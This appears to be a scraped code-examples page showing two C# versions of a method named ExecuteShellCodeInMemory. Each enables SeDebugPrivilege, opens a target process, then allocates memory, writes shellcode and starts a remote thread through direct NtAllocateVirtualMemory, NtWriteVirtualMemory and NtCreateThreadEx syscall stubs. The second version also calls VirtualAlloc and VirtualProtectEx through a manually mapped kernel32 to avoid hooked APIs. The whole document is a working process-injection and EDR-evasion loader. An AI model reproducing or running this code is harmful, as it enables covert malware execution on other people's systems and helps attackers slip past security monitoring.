Пример #1
0
        private static unsafe void ExecuteShellCodeInMemory(object args)
        {
            var parameterArguments = (object[])args;
            var sc      = (byte[])parameterArguments[0];
            var sysCall = (SysCallManager)parameterArguments[1];
            var pid     = (int)parameterArguments[2];
            var handle  = Process.GetCurrentProcess().Handle;

            if (pid != -1)
            {
                var token = IntPtr.Zero;
                Utils.GetProcessToken(Process.GetCurrentProcess().Handle, Utils.TokenAccessFlags.TokenAdjustPrivileges, out token, sysCall);

                var l = new List <string>();
                l.Add("SeDebugPrivilege");
                Utils.EnablePrivileges(token, l);

                Utils.GetProcessHandle(pid, out handle, Utils.ProcessAccessFlags.CreateThread | Utils.ProcessAccessFlags.QueryInformation |
                                       Utils.ProcessAccessFlags.VirtualMemoryOperation | Utils.ProcessAccessFlags.VirtualMemoryWrite | Utils.ProcessAccessFlags.VirtualMemoryRead, sysCall);
            }

            try
            {
                var baseAddress     = IntPtr.Zero;
                var shellCode       = sysCall.GetSysCallAsm("NtAllocateVirtualMemory");
                var shellCodeBuffer = VirtualAlloc(IntPtr.Zero, (UIntPtr)shellCode.Length,
                                                   AllocationType.Reserve | AllocationType.Commit, MemoryProtection.ExecuteReadwrite);
                Marshal.Copy(shellCode, 0, shellCodeBuffer, shellCode.Length);
                var sysCallDelegate =
                    Marshal.GetDelegateForFunctionPointer(shellCodeBuffer, typeof(NtAllocateVirtualMemory));

                var arguments = new object[]
                {
                    handle, baseAddress, (uint)0, (UIntPtr)(sc.Length + 1),
                    AllocationType.Reserve | AllocationType.Commit, MemoryProtection.ExecuteReadwrite
                };
                var returnValue = sysCallDelegate.DynamicInvoke(arguments);

                if ((int)returnValue != 0)
                {
                    return;
                }

                baseAddress = (IntPtr)arguments[1];  //required!

                shellCode       = sysCall.GetSysCallAsm("NtWriteVirtualMemory");
                shellCodeBuffer = VirtualAlloc(IntPtr.Zero, (UIntPtr)shellCode.Length,
                                               AllocationType.Reserve | AllocationType.Commit, MemoryProtection.ExecuteReadwrite);
                Marshal.Copy(shellCode, 0, shellCodeBuffer, shellCode.Length);
                sysCallDelegate = Marshal.GetDelegateForFunctionPointer(shellCodeBuffer, typeof(NtWriteVirtualMemory));

                arguments = new object[] { handle, baseAddress, sc, (UIntPtr)(sc.Length + 1), IntPtr.Zero };

                returnValue = sysCallDelegate.DynamicInvoke(arguments);
                baseAddress = (IntPtr)arguments[1];

                if ((int)returnValue != 0)
                {
                    return;
                }

                var a = new MyBuffer64();
                var b = new MyBuffer64();

                var u = new Unknown64();
                u.Size        = (uint)Marshal.SizeOf(u);
                u.Unknown1    = 65539;
                u.Unknown2    = 16;
                u.UnknownPtr  = &a;
                u.Unknown4    = 65540;
                u.Unknown5    = 8;
                u.Unknown6    = 0;
                u.UnknownPtr2 = &b;
                u.Unknown3    = 0;

                shellCode       = sysCall.GetSysCallAsm("NtCreateThreadEx");
                shellCodeBuffer = VirtualAlloc(IntPtr.Zero, (UIntPtr)shellCode.Length,
                                               AllocationType.Reserve | AllocationType.Commit, MemoryProtection.ExecuteReadwrite);
                Marshal.Copy(shellCode, 0, shellCodeBuffer, shellCode.Length);
                sysCallDelegate = Marshal.GetDelegateForFunctionPointer(shellCodeBuffer, typeof(NtCreateThreadEx64));

                arguments = new object[]
                {
                    IntPtr.Zero, 0x001FFFFF, IntPtr.Zero, handle, baseAddress, IntPtr.Zero, false, (ulong)0, (ulong)0,
                    (ulong)0, u
                };
                returnValue = sysCallDelegate.DynamicInvoke(arguments);
            }
            catch
            {
            }
        }
Пример #2
0
        private static unsafe void ExecuteShellCodeInMemory(object args)
        {
            var parameterArguments = (object[])args;
            var sc      = (byte[])parameterArguments[0];
            var sysCall = (SysCallManager)parameterArguments[1];
            var pid     = (int)parameterArguments[2];
            var handle  = Process.GetCurrentProcess().Handle;

            if (pid != -1)
            {
                var token = IntPtr.Zero;
                Utils.GetProcessToken(Process.GetCurrentProcess().Handle, DInvoke.Win32.WinNT._TOKEN_ACCESS_FLAGS.TokenAdjustPrivileges, out token, sysCall);

                var l = new List <string>();
                l.Add("SeDebugPrivilege");


                Utils.EnablePrivileges(token, l, sysCall);

                Utils.GetProcessHandle(pid, out handle, DInvoke.Win32.Kernel32.ProcessAccessFlags.PROCESS_CREATE_THREAD | DInvoke.Win32.Kernel32.ProcessAccessFlags.PROCESS_QUERY_INFORMATION |
                                       DInvoke.Win32.Kernel32.ProcessAccessFlags.PROCESS_VM_OPERATION |
                                       DInvoke.Win32.Kernel32.ProcessAccessFlags.PROCESS_VM_WRITE | DInvoke.Win32.Kernel32.ProcessAccessFlags.PROCESS_VM_READ, sysCall);
            }

            try
            {
                var baseAddress = IntPtr.Zero;
                var shellCode   = sysCall.GetSysCallAsm("NtAllocateVirtualMemory");
                DInvoke.PE.PE_MANUAL_MAP moduleDetails = sysCall.getMappedModule("C:\\Windows\\System32\\kernel32.dll");


                object[] virtualAlloc = { IntPtr.Zero, (UIntPtr)shellCode.Length, DInvoke.Win32.Kernel32.MemoryAllocationFlags.Commit | DInvoke.Win32.Kernel32.MemoryAllocationFlags.Reserve,
                                          DInvoke.Win32.Kernel32.MemoryProtectionFlags.ReadWrite };
                var      shellCodeBuffer = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualAlloc",
                                                                                             typeof(DInvoke.Win32.DELEGATES.VirtualAlloc), virtualAlloc);

                Marshal.Copy(shellCode, 0, shellCodeBuffer, shellCode.Length);
                var sysCallDelegate = Marshal.GetDelegateForFunctionPointer(shellCodeBuffer, typeof(NtAllocateVirtualMemory));

                var arguments = new object[]
                {
                    handle, baseAddress, (uint)0, (UIntPtr)(sc.Length + 1),
                    DInvoke.Win32.Kernel32.MemoryAllocationFlags.Reserve | DInvoke.Win32.Kernel32.MemoryAllocationFlags.Commit,
                    DInvoke.Win32.Kernel32.MemoryProtectionFlags.ExecuteReadWrite
                };

                uint     oldProtect = 0;
                object[] parameters = { (IntPtr)(-1), shellCodeBuffer, (UIntPtr)shellCode.Length, (uint)DInvoke.Win32.Kernel32.MemoryProtectionFlags.ExecuteRead, oldProtect };
                IntPtr   response   = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualProtectEx",
                                                                                        typeof(DInvoke.Win32.DELEGATES.VirtualProtectEx), parameters);

                var returnValue = sysCallDelegate.DynamicInvoke(arguments);

                if ((int)returnValue != 0)
                {
                    return;
                }

                baseAddress = (IntPtr)arguments[1];

                shellCode = sysCall.GetSysCallAsm("NtWriteVirtualMemory");


                object[] virtualAlloc2 = { IntPtr.Zero, (UIntPtr)shellCode.Length, DInvoke.Win32.Kernel32.MemoryAllocationFlags.Commit | DInvoke.Win32.Kernel32.MemoryAllocationFlags.Reserve,
                                           DInvoke.Win32.Kernel32.MemoryProtectionFlags.ReadWrite };

                shellCodeBuffer = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualAlloc",
                                                                                    typeof(DInvoke.Win32.DELEGATES.VirtualAlloc), virtualAlloc2);

                Marshal.Copy(shellCode, 0, shellCodeBuffer, shellCode.Length);
                sysCallDelegate = Marshal.GetDelegateForFunctionPointer(shellCodeBuffer, typeof(NtWriteVirtualMemory));

                arguments = new object[] { handle, baseAddress, sc, (UIntPtr)(sc.Length + 1), IntPtr.Zero };

                parameters = new object[] { (IntPtr)(-1), shellCodeBuffer, (UIntPtr)shellCode.Length, (uint)DInvoke.Win32.Kernel32.MemoryProtectionFlags.ExecuteRead, oldProtect };
                response   = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualProtectEx",
                                                                               typeof(DInvoke.Win32.DELEGATES.VirtualProtectEx), parameters);

                returnValue = sysCallDelegate.DynamicInvoke(arguments);
                baseAddress = (IntPtr)arguments[1];

                if ((int)returnValue != 0)
                {
                    return;
                }

                var a = new MyBuffer64();
                var b = new MyBuffer64();

                var u = new Unknown64();
                u.Size        = (uint)Marshal.SizeOf(u);
                u.Unknown1    = 65539;
                u.Unknown2    = 16;
                u.UnknownPtr  = &a;
                u.Unknown4    = 65540;
                u.Unknown5    = 8;
                u.Unknown6    = 0;
                u.UnknownPtr2 = &b;
                u.Unknown3    = 0;

                shellCode = sysCall.GetSysCallAsm("NtCreateThreadEx");

                object[] virtualAlloc3 = { IntPtr.Zero, (UIntPtr)shellCode.Length, DInvoke.Win32.Kernel32.MemoryAllocationFlags.Commit | DInvoke.Win32.Kernel32.MemoryAllocationFlags.Reserve,
                                           DInvoke.Win32.Kernel32.MemoryProtectionFlags.ReadWrite };

                shellCodeBuffer = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualAlloc",
                                                                                    typeof(DInvoke.Win32.DELEGATES.VirtualAlloc), virtualAlloc3);

                Marshal.Copy(shellCode, 0, shellCodeBuffer, shellCode.Length);
                sysCallDelegate = Marshal.GetDelegateForFunctionPointer(shellCodeBuffer, typeof(NtCreateThreadEx64));

                arguments = new object[]
                {
                    IntPtr.Zero, 0x001FFFFF, IntPtr.Zero, handle, baseAddress, IntPtr.Zero, false, (ulong)0, (ulong)0,
                    (ulong)0, u
                };

                parameters = new object[] { (IntPtr)(-1), shellCodeBuffer, (UIntPtr)shellCode.Length, (uint)DInvoke.Win32.Kernel32.MemoryProtectionFlags.ExecuteRead, oldProtect };
                response   = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualProtectEx",
                                                                               typeof(DInvoke.Win32.DELEGATES.VirtualProtectEx), parameters);
                returnValue = sysCallDelegate.DynamicInvoke(arguments);
            }
            catch
            {
            }
        }